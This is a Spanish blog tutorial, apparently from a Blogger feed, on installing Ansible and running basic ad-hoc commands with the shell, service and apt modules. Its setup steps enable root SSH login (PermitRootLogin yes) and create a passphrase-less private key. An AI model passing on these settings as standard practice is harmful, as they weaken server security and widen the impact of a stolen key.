url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib4l4hp8bthEAOTj5NXyeuJtjnMXRzZjMzMOBOpDFZ7KhZECL0Pd4vEIkZEvOJRfdgHNiUHsTLZ35j2ts5EqGIsS_Z6-M4cLHhVou7X_uBR51aVxL7PRftg2o3cPg7z-5Akadj_cWa-xUu/s72-c/playboos_portada.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-2827388510267380404</id><published>2018-01-08T23:14:00.000+01:00</published><updated>2018-01-09T17:38:35.502+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Cómo instalar Ansible y usarlo de forma básica en Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
La gestión de múltiples equipos es una tarea que dependiendo del volumen de éstos, puede resultar una tarea abrumadora y extremadamente ineficiente; especialmente si queremos aplicar el mismo cambio a todos estos. Imaginemos que tenemos 5 servidores Linux con SSH instalado para gestionarlos remotamente; y tenemos que hacer (por ejemplo) una simple tarea de actualización, junto con añadir un nuevo DNS a/etc/resolv.conf. Ambas tareas son simples, pero no deja de requerir tiempo pues requiere replicarlas en 5 servidores. Es por ello que en ciertos entornos es recomendado tener alguna herramienta de automatización de tareas... Existen varias herramientas, tales como Chef, Puppet o Ansible, pero hoy nos vamos a centrar en la que, en mi opinión, es la que tiene la menor curva de aprendizaje y la que es más sencilla de gestionar: &lt;b&gt;Ansible&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKvCBRHLB8qbPPa2jgP1nuLiQpSbYYn888Pt-y1t6rvrpq9QuPnlfQqHcTYuHBlUfXd3hFqVD1tAItjrc446ECiDHqhPDD3YBRWjILDvrQ8HZ_isUiXqQL50Ioy8KvDQ8onS3vzVv_MmJ-/s1600/ansible-logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Logo_ansible&quot; border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;632&quot; height=&quot;253&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKvCBRHLB8qbPPa2jgP1nuLiQpSbYYn888Pt-y1t6rvrpq9QuPnlfQqHcTYuHBlUfXd3hFqVD1tAItjrc446ECiDHqhPDD3YBRWjILDvrQ8HZ_isUiXqQL50Ioy8KvDQ8onS3vzVv_MmJ-/s320/ansible-logo.png&quot; title=&quot;Logo_ansible&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ansible es una herramienta de automatización de tareas que puede mandar comandos a múltiples máquinas ya sea desde la consola a la fuerza, o mediante unos ficheros, cuyo formato es&amp;nbsp;&lt;b&gt;YAML&amp;nbsp; &lt;/b&gt;(conocidos como playbooks),&lt;b&gt;&amp;nbsp;&lt;/b&gt;que siguen una estructura muy definida, en la que se establecen todo tipo de comandos, comportamientos, desencadenadores ante ciertos eventos, etc... Lo más común y lo ideal, es trabajar con dichos ficheros, pues se puede dejar todo configurado en estos y luego simplemente con decirle a Ansible que realice las acciones pertinentes que le digan éstos; pero a modo de introducción, es mejor comenzar con lo más básico y realizar tareas sencillas para luego, en caso de ver que la herramienta se adapta a nuestras necesidades, pasar a usar Ansible en profundidad.&lt;br /&gt;
&lt;br /&gt;
Lo primero y necesario para poder gestionar todas las máquinas, es que todas tengan el paquete &lt;b&gt;openssh-server&lt;/b&gt; instalado. Esto sí que es necesario hacer a mano. También es necesario tener dicho paquete instalado en la máquina controladora.&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;apt-get install openssh-server
&lt;/pre&gt;
La necesidad de dicho paquete radica en que todas las comunicaciones se hacen vía SSH, con lo que en caso de tener un firewall entre el controlador que enviará los comandos al resto, y las máquinas, habría que asegurarse de que éste no está bloqueando el puerto correspondiente (por defecto el 22). Aún así con esto no valdría; habría que habilitar el acceso de root por SSH a las otras máquinas; esta parte es subjetiva, ya que dependiendo de qué Linux estemos usando y la versión de éste, podemos tener habilitado el acceso remoto, pero lo ideal es asegurarse... Para ello habría que editar el fichero &lt;b&gt;/etc/ssh/sshd_config&lt;/b&gt; y comprobar que el parámetro &lt;b&gt;PermitRootLogin &lt;/b&gt;esté puesto a yes:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;PermitRootLogin yes
&lt;/pre&gt;
Por supuesto habría que reiniciar el servicio SSH.&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;/etc/init.d/ssh restart
&lt;/pre&gt;
Ahora bien, hay que pensar en hacer las tareas lo más automatizadas posible, con lo que vamos a usar el método de autenticación de &lt;a href=&quot;http://bytelearning.blogspot.com/2015/05/como-acceder-por-ssh-de-forma-segura-y.html&quot;&gt;clave pública y privada&lt;/a&gt; para evitar tener que introducir la contraseña a cada servidor, ahorrándonos mucho tiempo y pudiendo hacer que las tareas de Ansible se ejecuten sin tener que estar nosotros delante autenticándonos cada vez que se conecte a un nuevo servidor. Esto puede parecer tedioso, pero hay que pensar que es un proceso se hará una sola vez, al igual que la instalación de SSH. Para ello, desde el servidor que usaremos como el controlador, es decir desde el que usaremos para enviar ordenes al resto con Ansible, generaremos un par de claves (una pública y una privada) RSA.&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;ssh-keygen &lt;span style=&quot;color: #00dddd;&quot;&gt;-t&lt;/span&gt; rsa
&lt;/pre&gt;
Es importante matizar que cuando nos pregunten sobre qué contraseña ponerle a la clave privada para poder usarla, no poner ninguna, pues dicha clave privada, en un principio, no va a salir del equipo.&lt;br /&gt;
.&lt;br /&gt;
Ahora para exportar la clave pública a otro equipo se usaría el comando &lt;b&gt;ssh-copy-id&lt;/b&gt; tal que así:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;ssh-copy-id root@IP&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Por ejemplo, si uno de los equipos tuviese la IP 192.168.1.8 haríamos:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;ssh-copy-id root@&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;8&lt;/span&gt;
&lt;/pre&gt;
Este comando habría que repetirlo para cada IP que queramos controlar. Obviamente, al copiar la clave pública, el equipo al queramos copiar la clave nos pedirá la clave de root de dicho equipo. Gracias a dicho comando ya podremos entrar a dichos equipos sin necesidad de contraseña, lo cual hará que cualquier tarea sea mucho menos tediosa; ahora bien, faltaría instalar Ansible en el equipo que queremos que &quot;controle&quot; al resto, es decir el equipo desde el que hemos enviado nuestra clave pública al resto. Afortunadamente instalar Ansible es tan sencillo como instalarlo de los repositorios:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;apt-get install ansible&lt;/pre&gt;
Ahora que tenemos Ansible instalado, lo primero que haremos será dirigirnos al fichero &lt;b&gt;/etc/ansible/hosts&lt;/b&gt;; dicho fichero sería el encargado de recopilar los diferentes equipos que queremos controlar. En dicho fichero se pueden crear diferentes grupos que agrupan distintos hosts; grupos que se pueden llamar de forma individual, o que también pueden ser llamados todos a la vez.&amp;nbsp; Cada grupo tendrá la siguiente estructura:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;[nombre_grupo]&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;IP1&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;IP2&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;...&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Un ejemplo puramente teórico podría ser:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;WEB&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;]&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;7&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;8&lt;/span&gt;

&lt;span style=&quot;color: #d2cd86;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;ASTERISK&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;]&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;9&lt;/span&gt;
&lt;/pre&gt;
A modo de ejemplo vamos a crear un solo grupo que tendrá la IP 192.168.1.8 dentro del susodicho, pues sabemos que dicha IP tiene nuestra clave pública y que podremos efectuar cualquier acción sobre el equipo con dicha IP sin preocuparnos en introducir la contraseña.&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;PRUEBAS&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;]&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;8&lt;/span&gt;
&lt;/pre&gt;
Ahora que tenemos el fichero hosts preparado, vamos a efectuar un par de comando básicos:&lt;br /&gt;
&lt;br /&gt;
El primero sería una simple comprobación del contenido del fichero &lt;b&gt;/etc/resolv.conf&lt;/b&gt; de cada equipo controlado por Ansible:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;~&lt;span style=&quot;color: #9999a9;&quot;&gt;# ansible all -a \ &lt;/span&gt;
&lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;cat &lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;/etc/resolv.conf&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;8&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; SUCCESS &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; rc&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;
nameserver &lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;
&lt;/pre&gt;
Esto haría que lanzásemos una consulta del contenido del fichero /etc/resolv.conf a cada equipo bajo nuestro control, y que cada uno nos devolviese como respuesta la salida de dicho comando; ahora bien; qué significa la estructura arriba mostrada? Dicha estructura es tan sencilla como:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;ansible nombre_grupo -a &quot;comando de Linux&quot;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
A la hora de poner el nombre de grupo podemos poner el nombre del grupo al que queremos hacer referencia, como por ejemplo PRUEBAS, o por el contrario, si queremos hacer referencia a todos los grupos habría que simplemente poner el nombre all, tal y como hemos hecho arriba. Es decir que en nuestro anterior comando podríamos haber puesto el nombre del grupo PRUEBAS en vez de all y haber obtenido el mismo resultado. Al igual que podemos haber mandando dicho comando, podemos lanzar cualquier otro comando común de la consola, como podría ser un &quot;ifconfig&quot; o incluso un &quot;apt-get update&quot;; es decir que prácticamente con la prueba de concepto de arriba, podrían mandarse comandos de consola simples a todos los equipos, lo cual de por sí nos puede ahorrar una cantidad de tiempo considerable.&lt;br /&gt;
&lt;br /&gt;
Ansible ofrece más opciones más allá de los comandos de shell, ya que si bien he omitido este concepto a propósito en el primer ejemplo, cuando se mandan ordenes a través de Ansible, se mandan gracias al uso de &lt;b&gt;módulos &lt;/b&gt;que son llamados gracias al parámetro&lt;b&gt; -m&lt;/b&gt;. La lista de módulos y sus diferentes parámetros es realmente enorme; lista que se pueden encontrar en la página oficial de Ansible como podéis ver en &lt;a href=&quot;http://docs.ansible.com/ansible/latest/list_of_all_modules.html&quot; rel=&quot;nofollow&quot;&gt;este enlace&lt;/a&gt;. Mencionarlos todos es prácticamente imposible, pero hay unos pocos que pueden resultar interesantes de mencionar; en concreto habrían 3 módulos que en mi opinión son interesantes conocer:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;shell&lt;/b&gt;: Este módulo es el usado por defecto. Es decir que no especificar un módulo o poner que se quiere usar este módulo viene a ser lo mismo. Este módulo ejecuta directamente ordenes de shell.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;service&lt;/b&gt;: Este es un módulo muy interesante, ya que se encarga de comprobar el estado de los servicios y manipularlos. Puede pararlos, arrancarlos e incluso añadirlos y quitarlos del arranque... En definitiva, es un módulo muy interesante a la hora de mantener servidores.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;apt&lt;/b&gt;: Este módulo se dedica a usar apt para realizar actualizaciones de la caché, instalaciones, actualizaciones y eliminaciones de paquetes.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
El primer módulo ya hemos visto como usarlo y que simplemente requiere tener nociones de la shell, pero ¿Cómo usamos los módulos service y apt?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
El módulo&amp;nbsp;&lt;b&gt;service &lt;/b&gt;tiene tres argumentos que podrían considerarse como los más importantes: El nombre del servicio, mediante el argumento &lt;b&gt;name&lt;/b&gt;, el estado en el que queremos que esté mediante el comando &lt;b&gt;state&lt;/b&gt;, y si queremos que se inicio no durante el proceso de arranque mediante el comando &lt;b&gt;enabled&lt;/b&gt;.&amp;nbsp; Los estados pueden ser: started, stopped, restarted y reloaded; mientras que la habilitación del arranque durante el inicio sería: yes o no.&lt;br /&gt;
&lt;br /&gt;
La mejor forma de entender los argumentos es viendo el uso de estos:&lt;/div&gt;
&lt;br /&gt;
Imaginemos que queremos parar el servicio ntp en todos los equipos que controlamos; el comando que lograría dicho resultado sería:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;~&lt;span style=&quot;color: #9999a9;&quot;&gt;# ansible all -m service -a \&lt;/span&gt;
&lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;ntp &lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;stopped&quot;&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;8&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; SUCCESS =&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #b060b0;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;changed&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00dddd;&quot;&gt;true&lt;/span&gt;,
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;ntp&quot;&lt;/span&gt;,
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;state&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;stopped&quot;&lt;/span&gt;,
&lt;/pre&gt;
Cada comando que lancemos que a cada máquina nos devolverá una serie de líneas, entre las cuales nos importará ver, por un lado que el comando se ha enviado exitosamente, lo cual se deduce al ver que devuelve un SUCCESS, y por otro lado hay una línea en la que veremos que dirá &quot;changed&quot;; en caso de dar como respuesta true, significará que antes se encontraba parado, mientras que al decir false nos estaría diciendo que ya se encontraba parado antes de que nosotros se lo ordenásemos. Otro ejemplo más completo, aprovechando que el servicio ntp se encuentra parado podría ser:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;~&lt;span style=&quot;color: #9999a9;&quot;&gt;# ansible all -m service -a \&lt;/span&gt;
&lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;ntp &lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;started &lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;enabled&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;yes&quot;&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;8&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; SUCCESS =&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #b060b0;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;changed&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00dddd;&quot;&gt;true&lt;/span&gt;,
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;enabled&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00dddd;&quot;&gt;true&lt;/span&gt;,
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;ntp&quot;&lt;/span&gt;,
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;state&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;started&quot;&lt;/span&gt;,
&lt;/pre&gt;
En este caso no solo le habríamos ordenado que arrancase, sino que además le estaríamos ordenando que se iniciase durante el proceso de arranque el equipo...&amp;nbsp; Este ejemplo se ha usado para el servicio NTP pero podría extrapolarse a cualquier otro sin problema alguno.&lt;br /&gt;
&lt;br /&gt;
Veamos ahora el módulo &lt;b&gt;apt&lt;/b&gt;. Este módulo funciona de la misma forma que el uso habitual de apt-get, con la diferencia que desde aquí podremos controlar pequeños detalles como que por ejemplo tengamos un paquete concreto siempre con la última versión. Este módulo tiene muchos parámetros, pero los más importantes serían: &lt;b&gt;name&lt;/b&gt;, cuya utilidad es la misma que la usada en el módulo de service y que está presente en la gran mayoría de los módulos, &lt;b&gt;state&lt;/b&gt;, que en este caso tiene unos estados diferentes a los del módulo service, y &lt;b&gt;update_cache&lt;/b&gt;, que sería un equivalente al comando apt-get update. Los estados en este caso serían: latest (última versión del paquete), absent, present y&amp;nbsp; build-dep. El último estado simplemente comprobaría que el paquete X tiene todas las dependencias necesarias instaladas.&lt;br /&gt;
&lt;br /&gt;
A sabiendas de dichos parámetros, podemos jugar con el módulo apt para, por un lado nos actualice la caché de los repositorios y que por otro lado nos instale (si no tenemos instalada ya) la última versión de NTP.&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;~&lt;span style=&quot;color: #9999a9;&quot;&gt;# ansible all -m apt -a \&lt;/span&gt;
&lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;ntp &lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;update_cache&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;yes &lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;latest&quot;&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;8&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; SUCCESS =&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #b060b0;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;cache_update_time&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #008c00;&quot;&gt;1515448761&lt;/span&gt;,
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;cache_updated&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00dddd;&quot;&gt;true&lt;/span&gt;,
    &lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;changed&quot;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #00dddd;&quot;&gt;false&lt;/span&gt;
&lt;span style=&quot;color: #b060b0;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
Gracias a dicho módulo podemos mantener actualizados todos los equipos sin tener que ir uno por uno realizando dicha tarea.&lt;br /&gt;
&lt;br /&gt;
Existen muchos más módulos cuya importancia varía dependiendo de las herramientas que estemos usando, pero estas tres serían las más básicas y con las que se podrían realizar las tareas más sencillas sin necesidad de introducirse en el mundo de los playbooks.&lt;br /&gt;
&lt;br /&gt;
Como podéis observar el uso de Ansible puede ayudar muchísimo en la administración de varios equipos. Cierto es que en este caso se ha interactuado con uno solo y que hacer la misma tarea directamente en dicho equipo habría sido más sencillo ¿Pero y si fuesen 5, o 10, o incluso 100? Esta herramienta brilla en dicho tipo de entornos y es donde realmente se le saca partido.&lt;br /&gt;
&lt;br /&gt;
Espero que con este post hayáis podido ver las posibilidades que ofrece Ansible y las ventajas que puede ofrecer para automatizar ciertas tareas y ahorrarnos horas de tareas repetitivas.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/2827388510267380404/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/01/Instalar-Ansible-uso-basico-Linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/2827388510267380404'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/2827388510267380404'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/01/Instalar-Ansible-uso-basico-Linux.html' title='Cómo instalar Ansible y usarlo de forma básica en Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image 